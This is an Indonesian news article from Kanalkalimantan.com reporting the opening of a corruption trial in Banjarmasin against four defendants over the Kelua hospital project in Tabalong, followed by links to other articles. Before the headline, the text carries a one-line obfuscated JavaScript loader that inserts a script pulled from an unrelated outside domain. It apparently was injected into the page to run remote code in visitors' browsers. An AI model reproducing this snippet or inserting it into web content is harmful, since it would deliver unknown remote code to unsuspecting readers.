(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong


KANALKALIMANTAN.COM, BANJARMASIN – Kasus dugaan tindak pidana korupsi pembangun Rumah Sakit (RS) Kelua Kabupaten Tabalong yang menyeret empat terdakwa mulai disidangkan di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Rabu (15/5/2024) siang.

Yudhi Santo, Imam Wachyudie, Taufiqurahman Hamdie, dan Daryanto sama-sama duduk di kursi pesakitan Pengadilan Tipikor Banjarmasin mendengarkan dakwaan yang dibacakan jaksa penuntun umum (JPU) Kejari Tabalong.

Majelis hakim yang memimpin sidang diketuai oleh Irfanul Hakim SH MH dan dua hakim anggota Salma Safitiri SH dan Herlinda SH.

JPU, Andi Hamzah Kusuma mengatakan, keempat terdakwa oleh JPU secara bersama-sama didakwa melakukan perbuatan memperkaya diri sendiri atau orang lain yang dapat merugikan keuangan atau perekonomian negara sebagaimana pasal 2 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) KUHP, sebagai dakwaan primair.

Baca juga: Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

Sementara dakwaan subsidair dikenakan pasal 3 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) KUHP.

Peranan empat terdakwa pada kasus pembangunan RS Kelua APBD Tabalong tahun 2020 tersebut, kata Andi, berbeda-beda sesuai dengan jabatan pada proyek.

Terdakwa Taufiqurrahman Hamdie misalnya, dia merupakan mantan Kepala Dinas Kesehatan Tabalong selaku Pengguna Anggaran (PA) pembangunan RS Kelua.

Sidang dakwaan kasus dugaan tindak piadan korupsi pembangunan Rumah Sakit (RS) Kelua dengan empat terdakwa di Pengadilan Tipikor Banjarmasin, Rabu (15/5/2024) siang. Foto: rizki

Kemudian Daryanto direktur perusahaan yang mengerjakan proyek RS Kelua. Yudhi Santo sebagai pelaksana pekerjaan pembangunan yang meminjam perusahaan milik Daryanto, dan Imam Wahyudi selaku konsultan pengawas.

Baca juga: Camat Lurah Boleh Jabat Sekretariat PPK PPS

Kasi Pidsus Kejari Tabalong memaparkan bagaimana modus yang dilakukan para terdakwa dalam kasus tersebut.

“Modusnya pinjam bendera (Perusahaan, red), temuannya kekurangan volume (Bangunan, red) dan ada kelebihan bayar, dan terhadap konsultan pengawasan pada putusan BPKP Kalsel tidak layak dibayar,” ungkap Andi.

Hasil dari perhitungan yang dilakukan Badan Pengawas Keuangan dan Pembangunan (BPKP) Kalsel nilai kerugian negara yang muncul pada kasus korupsi pembangunan RS Kelua di Kabupaten Tabalong mencapai Rp400 juta dari Pagu anggaran sekitar Rp3,2 miliar.

“Kerugian negaranya sekitar Rp400 juta,” ujarnya.

Keempat terdakwa saat proses penyidikan menurut Andi sempat mengembalikan sebagian kerugian negara dengan nominal yang berbeda-beda. Uang pengembalian dititipkan di Kejari Tabalong. Yudi Santo menitipkan uang sebesar Rp50 juta, Imam Wachyudie Rp40 juta, Taufiqurrahman Rp50 juta, dan Daryanto Rp15 juta.

Baca juga: Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

Masih lanjut Andi, sejak proses penyidikan di Kejari Tabalong dan perkara bergulir di Pengadilan Tipikor Banjarmasin, keempat terdakwa telah dilakukan penahanan di Rumah Tahanan Negara Kelas II B Tanjung.

“Ditahan di Rutan Tanjung, rencana akan kita pindah ke Lapas Teluk Dalam Banjarmasin,” katanya.

Terpisah, penasehat hukum dua orang terdakwa, Chandra Saputra Jaya mengatakan pihaknya tidak mengajukan eksepsi atas dakwaan yang dibacakan oleh jaksa penuntun umum. Pihaknya lebih memilih persidangan dilanjutkan ke tahap pembuktian.

“Kami tidak melakukan eksepsi, nanti kami langsung dipembelaan aja,” kata penasehat hukum terdakwa Yudhi Santo dan Daryanto.

Baca juga: Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

Penasehat hukum terdakwa Taufiqurrahman dan Imam Wachyudie menyatakan sikap yang sama tidak mengajukan eksepsi dan memilih persidangan dilanjutkan ke tahap pembuktian.

Majelis hakim Pengadilan Tipikor menetapkan sidang berikutnya dengan agenda mendengarkan keterangan sakti yang diahdirkan penuntut umum. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.